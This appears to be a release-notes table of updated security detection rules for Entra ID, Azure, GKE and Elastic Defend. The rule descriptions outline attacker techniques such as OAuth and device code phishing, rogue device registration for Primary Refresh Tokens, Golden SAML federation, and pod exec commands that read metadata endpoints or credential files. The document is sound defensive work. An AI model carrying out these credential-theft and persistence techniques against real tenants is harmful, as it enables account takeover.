Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. | update | 7 + +|<> | Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). | update | 9 + +|<> | Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users could potentially be overlooked indefinitely leading to a potential vulnerability. | update | 110 + +|<> | Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. | update | 5 + +|<> | Identifies when a user is observed for the first time authenticating using the device code authentication workflow. This authentication workflow can be abused by attackers to phish users and steal access tokens to impersonate the victim. By its very nature, device code should only be used when logging in to devices without keyboards, where it is difficult to enter emails and passwords. This rule only applies to Entra ID user types and detects new users leveraging this flow. | update | 11 + +|<> | Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. | update | 12 + +|<> | Identifies high risk Microsoft Entra ID sign-ins by leveraging Microsoft's Identity Protection machine learning and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is compromised. | update | 114 + +|<> | Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. | update | 222 + +|<> | Identifies the default user agent string associated with Kali365 (also referred to as Kali365 Live), a phishing-as-a-service (PhaaS) platform that automates OAuth 2.0 device code phishing and adversary-in-the-middle (AiTM) session capture against Microsoft 365 and Microsoft Entra ID. The Kali365 Electron desktop client identifies itself with the user agent `kali365-live/1.0.0` when polling for and replaying captured OAuth tokens, so its appearance in Entra ID sign-in logs, Entra ID audit logs, or the Microsoft 365 unified audit log indicates that an attacker-controlled Kali365 client is interacting with the tenant using stolen tokens. Unlike dual-use offensive tooling, Kali365 is a criminal service with no legitimate enterprise use, making this user agent a high-fidelity indicator of active account compromise. | update | 2 + +|<> | Detects Microsoft Entra ID sign-in activity where the Microsoft Authentication Broker authenticates is using a user agent that is not consistent with common browser, mobile, or Windows platform authentication clients. Adversary-in-the-middle and OAuth phishing tooling often presents scripted or relayed user agents (for example Node.js, Python, or generic HTTP libraries) while still targeting first-party resources through the broker. | update | 2 + +|<> | Detects successful Microsoft Entra ID sign-ins where the client application is the Microsoft Authentication Broker (MAB) and the requested resource identifier is outside a short list of commonly observed first-party targets. Attackers abuse the broker in phishing and token broker flows to obtain tokens for unexpected APIs or enterprise applications. The exclusion list covers legacy Azure Active Directory, Microsoft Graph, Device Registration Service, Microsoft Intune Enrollment, extend or tune exclusions for your tenant after baselining broker traffic. | update | 3 + +|<> | Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. | update | 5 + +|<> | Detects successful Microsoft Entra ID sign-ins that use the OAuth device code authentication protocol with the Microsoft Authentication Broker client requesting first-party Office API resources (Exchange Online, Microsoft Graph, or SharePoint) while flagged as interactive. This pattern is associated with adversary-in-the-middle (AiTM) phishing kits such as Tycoon 2FA, where victims complete device code flows that ultimately broker tokens for mail and collaboration APIs. | update | 3 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 9 + +|<> | Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing user_impersonation for a token issued by Entra ID. Adversaries may use this scope to gain unauthorized access to user accounts, particularly when the sign-in session status is unbound, indicating that the session is not associated with a specific device or session. This behavior is indicative of potential account compromise or unauthorized access attempts. This rule flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. | update | 7 + +|<> | Identifies a sign-in using the Azure Active Directory PowerShell module. PowerShell for Azure Active Directory allows for managing settings from the command line, which is intended for users who are members of an admin role. | update | 111 + +|<> | Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. | update | 6 + +|<> | Identifies when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This indicates that an administrator has reviewed the risk detection and determined that the user account or sign-in activity is definitively compromised. This is a high-confidence indicator of account compromise and should be investigated immediately. | update | 4 + +|<> | Identifies sign-in risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects sign-in activity such as anonymized IP addresses, unlikely travel, password spray, and more. | update | 6 + +|<> | Identifies user risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects user risk activity such as anonymized IP addresses, unlikely travel, password spray, and more. | update | 5 + +|<> | Detects rare non-interactive sign-ins where an Entra ID client application authenticates on behalf of a principal user using an application (client) ID that is not commonly associated with that user's historical sign-in behavior. Adversaries with stolen credentials or OAuth tokens may abuse Entra ID–managed or first-party client IDs to perform on-behalf-of (OBO) authentication, blending into legitimate cloud traffic while avoiding traditional interactive sign-in flows. This technique is commonly observed in OAuth phishing, token theft, and access broker operations, and may precede lateral movement, persistence, or data access via Microsoft Graph or other cloud resources. The rule uses a New Terms approach to identify first-seen combinations of the UPN and Client ID within a defined history window, helping surface unexpected client usage that may indicate compromised identities, malicious automation, or unauthorized application impersonation. | update | 10 + +|<> | Identifies rare instances of authentication methods for Microsoft Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with an unusual method, which may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication method may not be commonly used by the user based on their historical sign-in activity. | update | 10 + +|<> | Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft Identity Protection machine learning and heuristics. | update | 111 + +|<> | Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. | update | 4 + +|<> | Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. | update | 10 + +|<> | Identifies the creation of a Temporary Access Pass (TAP) for an Entra ID user account. A TAP is a time-limited passcode that allows passwordless authentication and bypasses existing MFA requirements, including phishing-resistant methods. An attacker with User Administrator or Authentication Administrator privileges can issue a TAP for a target account, sign in without the current password, and register new persistent authentication methods before the TAP expires. | update | 2 + +|<> | Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are frequently abused by adversaries for password spraying and account takeover because they translate into single-factor Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy client authentication for a given user, which is unusual in most modern environments. | update | 2 + +|<> | Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. | update | 6 + +|<> | Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. | update | 7 + +|<> | This New Terms rule focuses on the first occurrence of a client application ID (azure.graphactivitylogs.properties.app_id) making a request to Microsoft Graph API for a specific tenant ID (azure.tenant_id) and user principal object ID (azure.graphactivitylogs.properties.user_principal_object_id). This rule may helps identify unauthorized access or actions performed by compromised accounts. Advesaries may succesfully compromise a user's credentials and use the Microsoft Graph API to access resources or perform actions on behalf of the user. | update | 9 + +|<> | Detects Microsoft Entra ID sign-ins consistent with Tycoon2FA phishing-as-a-service (PhaaS) adversary-in-the-middle (AiTM) activity: the Microsoft Authentication Broker requesting tokens for Microsoft Graph or Exchange Online, or the Office web client application authenticating to itself, combined with Node.js-style user agents (node, axios, undici). Tycoon 2FA bypasses MFA by relaying authentication and capturing session material, often targeting Microsoft 365 and Gmail. Baseline legitimate automation and developer tooling before tuning. | update | 2 + +|<> | Detects a non-system identity using the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet. Proxying through the API server reaches the Kubelet API to enumerate pods or run commands on nodes, a lateral-movement and privilege-escalation vector (kubeletctl, Peirates). Node, control-plane, and kube-system service account identities that routinely proxy for monitoring are excluded, so remaining matches, including compromised workload service accounts, are surfaced for review. | update | 2 + +|<> | Identifies a connection to the Azure Serial Console of a virtual machine (VM) by an identity and source network combination that has not been observed recently. The Serial Console provides text-based console access to a VM through the boot diagnostics serial port, independent of the VM's network state. Because it does not traverse the VM's network interface, a Serial Console session bypasses Network Security Groups (NSGs), Just-in-Time (JIT) access policies, and other network controls. An adversary with a privileged Azure RBAC role (for example Virtual Machine Contributor) and boot diagnostics enabled on the target can use the Serial Console to obtain an interactive session as SYSTEM (Windows) or root (Linux). | update | 2 + +|<> | Identifies when an Azure Automation account is created. Azure Automation accounts can be used to automate management tasks and orchestrate actions across systems. An adversary may create an Automation account in order to maintain persistence in their target's environment. | update | 108 + +|<> | Identifies when an Azure Automation webhook is created. Azure Automation runbooks can be configured to execute via a webhook. A webhook uses a custom URL passed to Azure Automation along with a data payload specific to the runbook. An adversary may create a webhook in order to trigger a runbook that contains malicious code. | update | 108 + +|<> | Identifies the successful deployment of a high-risk Azure Virtual Machine extension by an interactive user principal. Attackers with privileged Azure RBAC roles can abuse VM extensions such as VMAccess, CustomScriptExtension, and RunCommand to execute arbitrary code, create backdoor accounts, harvest credentials, and establish persistence on Azure-hosted virtual machines without requiring direct network access to the VM. | update | 2 + +|<> | Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. | update | 110 + +|<> | Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. | update | 112 + +|<> | Identifies a Microsoft Entra ID identity-compromise chain in which a single user, within a 10-minute window, authenticates to the Device Registration Service through the Microsoft Authentication Broker (MAB) client, registers a device, and then uses the resulting Primary Refresh Token (PRT) to access a resource other than the Device Registration Service. This sequence is the core post-adversary-in-the-middle (AiTM) persistence pattern used by phishing kits such as Tycoon2FA and Kali365: after capturing a victim session, the kit registers an Azure AD-joined device to obtain a device-bound PRT, which survives user-level session revocation and password resets and grants trusted, MFA-free access. Correlating the broker sign-in, the device-registration audit event, and the follow-on PRT sign-in for the same user within a short window is a high-fidelity indicator of active account takeover. | update | 2 + +|<> | In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. | update | 109 + +|<> | Identifies Entra ID user accounts converted from Guest to Member type via an Update user operation. A Guest-to-Member conversion grants the account full directory read access, removes external-identity Conditional Access restrictions, and makes the account indistinguishable from an internal employee. An attacker who compromises a guest account and promotes it to Member type gains persistent tenant access without triggering role assignment alerts. | update | 2 + +|<> | Identifies when multi-factor authentication (MFA) is disabled for an Entra ID user account. An adversary may disable MFA for a user account in order to weaken the authentication requirements for the account. | update | 112 + +|<> | Detects Microsoft Entra ID sign-in activity where the Microsoft Authentication Broker requests the Device Registration Service from a source autonomous system number (ASN) associated with VPN, residential proxy, or hosting egress commonly observed in OAuth phishing and adversary-in-the-middle device registration flows. This pattern can indicate device join or primary refresh token acquisition staged from attacker-controlled infrastructure after a user completes authentication. | update | 2 + +|<> | Detects multiple Microsoft Entra ID device registrations by a single user, where three or more distinct devices are registered within a 15-minute window. A legitimate user enrolling a device produces a single "Register device" event; registering multiple distinct devices in quick succession is uncommon and is the fingerprint behavior of adversary-in-the-middle (AiTM) phishing kits and stolen-token replay tooling (for example Kali365), which mint a new Azure AD-joined device, and therefore a new Primary Refresh Token (PRT), per relay or replay attempt. Each registered device is a separate certificate-bound principal whose PRT survives user-level session revocation and password resets, so multiple registrations on a single low-privilege identity establish device-bound persistence at scale. | update | 2 + +|<> | Identifies modifications to OAuth application redirect URIs (ReplyUrls) in Entra ID. Adding an attacker-controlled redirect URI to an existing trusted application allows interception of OAuth authorization codes when users authenticate through that application's normal login flow, enabling token theft without requiring a new application registration or consent event. | update | 3 + +|<> | Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19045.2006" and the device display name follows the default "DESKTOP-" pattern. This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and it is uncommon for the OS build to match this exact value across an environment of otherwise patched hosts, where a current Windows 10 22H2 device reports a far higher "10.0.19045." value. | update | 2 + +|<> | Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in your Azure AD organization. | update | 110 + +|<> | Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. | update | 112 + +|<> | Detects successful Microsoft Entra ID audit events for Register device where additional details indicate an Azure AD join and the recorded user agent is not one of the common native registration clients (Dsreg, DeviceRegistrationClient, or Dalvik-based Android enrollment). Legitimate Windows and standard mobile enrollment flows often present predictable user-agent strings; unexpected clients may reflect scripted registration, third-party tooling, or adversary-driven device registration used for persistence or token abuse. Baseline approved provisioning tools and MDM integrations before tuning. | update | 2 + +|<> | Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19041.928" and the device display name follows the default "DESKTOP-" pattern. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and it is uncommon for the OS build to match the hardcoded value across an environment of otherwise patched hosts. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved provisioning tooling and device naming conventions before relying on it. | update | 3 + +|<> | Identifies when a user signs in with a refresh token using the Microsoft Authentication Broker (MAB) client, followed by a Primary Refresh Token (PRT) sign-in from the same device within 1 hour from an unmanaged device. This pattern may indicate that an attacker has successfully registered a device using ROADtx and transitioned from short-term token access to long-term persistent access via PRTs. Excluding access to the Device Registration Service (DRS) ensures the PRT is being used beyond registration, often to access Microsoft 365 resources like Outlook or SharePoint. | update | 6 + +|<> | Identifies when a new service principal is added in Microsoft Entra ID. An application, hosted service, or automated tool that accesses or modifies resources needs an identity created. This identity is known as a service principal. For security reasons, it's always recommended to use service principals with automated tools rather than allowing them to log in with a user identity. | update | 111 + +|<> | Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. | update | 111 + +|<> | Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. | update | 5 + +|<> | Detects a sequence of events in Microsoft Entra ID indicative of suspicious cloud-based device registration via automated tooling like ROADtools or similar frameworks. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools and similar tooling leave distinct telemetry signatures such as the `Microsoft.OData.Client` user agent. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. | update | 6 + +|<> | Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner for an Azure application in order to grant additional permissions and modify the application's configuration using another account. | update | 110 + +|<> | Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what the application can do in the specific tenant, who can access the application, and what resources the app can access. A service principal object is created when an application is given permission to access resources in a tenant. An adversary may add a user account as an owner for a service principal and use that account in order to define what an application can do in the Azure AD tenant. | update | 110 + +|<> | Identifies when a Microsoft Entra ID user signs in from a device that is not typically used by the user and is not managed, which may indicate potential compromise or unauthorized access attempts. This rule detects unusual sign-in activity by comparing the device used for the sign-in against the user's typical device usage patterns. Adversaries may create and register a new device to obtain a Primary Refresh Token (PRT) and maintain persistent access. | update | 5 + +|<> | Identifies the first-seen registration of a Windows Hello for Business (WHfB) credential for a Microsoft Entra ID user from a given source ASN in a tenant, based on a prefixed historic window. Enrollment is commonly part of legitimate onboarding or passwordless rollout and is not inherently malicious. Adversaries who have obtained a token that satisfies fresh (NGC) multi-factor authentication, for example by borrowing an existing WHfB key or passkey, can also enroll their own WHfB credential to establish durable, phishing-resistant persistence that survives password resets and standard session revocation. Correlate first-seen enrollments with the sign-in and device state that preceded them. | update | 2 + +|<> | Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's recommended that you treat this rule like an administrative root account and don't use it in your application. | update | 110 + +|<> | Identifies when an external authentication method (EAM) is added or modified in Entra ID. EAM may allow adversaries to bypass multi-factor authentication (MFA) requirements, potentially leading to unauthorized access to user accounts and sensitive resources by using bring-your-own IdP (BYOIDP) methods. | update | 5 + +|<> | Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. | update | 5 + +|<> | Identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. | update | 5 + +|<> | Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. | update | 6 + +|<> | Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. | update | 4 + +|<> | Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects (users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges roles. | update | 110 + +|<> | Detects when a custom domain is added or verified in an Entra ID tenant. Adding and verifying a custom domain are precursor steps to configuring domain federation, which can be abused by adversaries to route authentication through an attacker-controlled identity provider (Golden SAML). In most organizations, custom domains are added infrequently and these events should be investigated to ensure they are part of a legitimate administrative workflow. | update | 3 + +|<> | Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls. | update | 7 + +|<> | Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions. | update | 7 + +|<> | Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions. | update | 7 + +|<> | A statistical model has identified command-and-control (C2) beaconing activity. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. | update | 12 + +|<> | A statistical model has identified command-and-control (C2) beaconing activity with high confidence. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. | update | 11 + +|<> | Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The event.code correlates to the CyberArk Vault Audit Action Code. | update | 107 + +|<> | Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. | update | 108 + +|<> | A supervised machine learning model has identified a DNS question name that used by the SUNBURST malware and is predicted to be the result of a Domain Generation Algorithm. | update | 11 + +|<> | A supervised machine learning model has identified a DNS question name with a high probability of sourcing from a Domain Generation Algorithm (DGA), which could indicate command and control network activity. | update | 10 + +|<> | A supervised machine learning model has identified a DNS question name that is predicted to be the result of a Domain Generation Algorithm (DGA), which could indicate command and control network activity. | update | 10 + +|<> | Generates a detection alert each time an Elastic Defend alert for memory signatures are received. Enabling this rule allows you to immediately begin investigating your Endpoint memory signature alerts. This rule identifies Elastic Defend memory signature detections only, and does not include prevention alerts. | update | 6 + +|<> | Generates a detection alert each time an Elastic Defend alert for memory signatures are received. Enabling this rule allows you to immediately begin investigating your Endpoint memory signature alerts. This rule identifies Elastic Defend memory signature preventions only, and does not include detection only alerts. | update | 5 + +|<> | Generates a detection alert each time an Elastic Defend alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts. | update | 109 + +|<> | Generates a detection alert each time an Elastic Defend alert for malicious behavior is received. Enabling this rule allows you to immediately begin investigating your Endpoint behavior alerts. This rule identifies Elastic Defend behavior detections only, and does not include prevention alerts. | update | 6 + +|<> | Generates a detection alert each time an Elastic Defend alert for malicious behavior is received. Enabling this rule allows you to immediately begin investigating your Endpoint behavior alerts. This rule identifies Elastic Defend behavior preventions only, and does not include detection only alerts. | update | 6 + +|<> | Generates a detection alert each time an Elastic Defend alert for malicious files is received. Enabling this rule allows you to immediately begin investigating your Endpoint malicious file alerts. This rule identifies Elastic Defend malicious file detections only, and does not include prevention alerts. | update | 6 + +|<> | Generates a detection alert each time an Elastic Defend alert for malicious files is received. Enabling this rule allows you to immediately begin investigating your Endpoint malicious file alerts. This rule identifies Elastic Defend malicious file preventions only, and does not include detection only alerts. | update | 6 + +|<> | Generates a detection alert each time an Elastic Defend alert for ransomware are received. Enabling this rule allows you to immediately begin investigating your Endpoint ransomware alerts. This rule identifies Elastic Defend ransomware detections only, and does not include prevention alerts. | update | 6 + +|<> | Generates a detection alert each time an Elastic Defend alert for ransomware are received. Enabling this rule allows you to immediately begin investigating your Endpoint ransomware alerts. This rule identifies Elastic Defend ransomware preventions only, and does not include detection only alerts. | update | 6 + +|<> | Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is "10.0.19045.2006". This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and differs from legitimate hosts: a patched Windows 10 22H2 device reports a far higher "10.0.19045." value, so a device frozen at ".2006" with a default name is a high-fidelity, though evadable, indicator. | update | 2 + +|<> | Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is `10.0.19041.928`. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and the OS build typically differs from the patched OS versions of legitimate hosts in the environment. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved device builds and naming conventions before relying on it. | update | 3 + +|<> | This rule leverages the File Integrity Monitoring (FIM) integration to detect file modifications of files that are commonly used for persistence on Linux systems. The rule detects modifications to files that are commonly used for cron jobs, systemd services, message-of-the-day (MOTD), SSH configurations, shell configurations, runtime control, init daemon, passwd/sudoers/shadow files, Systemd udevd, and XDG/KDE autostart entries. To leverage this rule, the paths specified in the query need to be added to the FIM policy in the Elastic Security app. | update | 13 + +|<> | Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. | update | 111 + +|<> | Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is used to forward messages from publishers to subscribers. | update | 111 + +|<> | Detects successful GKE pod exec sessions whose command references Google Cloud instance metadata endpoints, including metadata.google.internal, computeMetadata/v1, or the link-local metadata IP 169.254.169.254. Workloads that reach the GKE metadata service from an exec session are often attempting to harvest short-lived credentials or instance attributes from the node or workload identity boundary. That behavior is high risk because it can expose cloud credentials to code running inside a container. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | update | 2 + +|<> | Detects successful GKE pod exec sessions where the executed command references high-value host or in-cluster paths: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root or home credential directories, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. Attackers with pods/exec often use these one-liners to steal credentials before lateral movement or privilege escalation. A narrow exclusion ignores benign resolv.conf reads. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | update | 2 + +|<> | Detects an unusual volume of GKE API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within the rule lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are included and can signal RBAC probing; system service accounts are excluded only when secret reads succeed, since failed secret access by a service account may indicate compromise or misconfiguration worth investigating. | update | 3 + +|<> | Detects GKE Secrets API activity that should not occur in normal cluster operation: a node identity (system:node:*) performing secrets get or list, or a pod service account failing a secrets get. Kubelet and node credentials are not expected to call the Secrets API for enumeration or direct reads, and a denied service-account secret get could indicate stolen-token probing or over-privileged tooling reaching beyond its RBAC. | update | 2 + +|<> | Detects successful GKE secret get or list operations where the user agent matches scripting runtimes, minimal HTTP clients, or offensive-distribution fingerprints rather than typical kubectl or controller traffic. | 